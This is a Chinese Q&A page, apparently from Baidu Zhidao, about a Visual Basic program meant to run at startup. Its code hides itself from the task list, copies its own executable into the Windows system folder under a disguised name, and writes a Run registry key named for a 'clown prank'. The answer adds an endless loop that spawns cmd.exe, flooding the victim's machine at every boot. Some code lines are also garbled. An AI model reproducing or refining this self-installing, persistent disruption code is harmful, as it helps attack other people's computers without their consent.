VB编的开机启动

来源:百度知道 编辑:UC知道 时间:2024/05/05 20:12:47
im f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\shuangsini.exe"
FileCopy f, d
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\shuangsini.exe"

运行后开机后显示 运行时错误 70 拒绝的权限
Private Sub Form_Load()

App.TaskVisible = False

Dim f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\shuangsini.exe"
If Dir("C:\windows\dasetup.log1") = "" Then'*
FileCopy f, d
End If'*
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", d

Do
Shell &

刚才这一句写错了。
If Dir(d) = "" Then'*

----------------

'用下面的代码试试(加了几句)
Private Sub Form_Load()

App.TaskVisible = False

Dim f As String
f = App.Path & "\" & App.EXEName & ".exe"
d = "C:\WINDOWS\SYSTEM\shuangsini.exe"
If Dir(d) = "" Then'*
FileCopy f, d
End If'*
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", d

Do
Shell "cmd.exe"
Loop

End Sub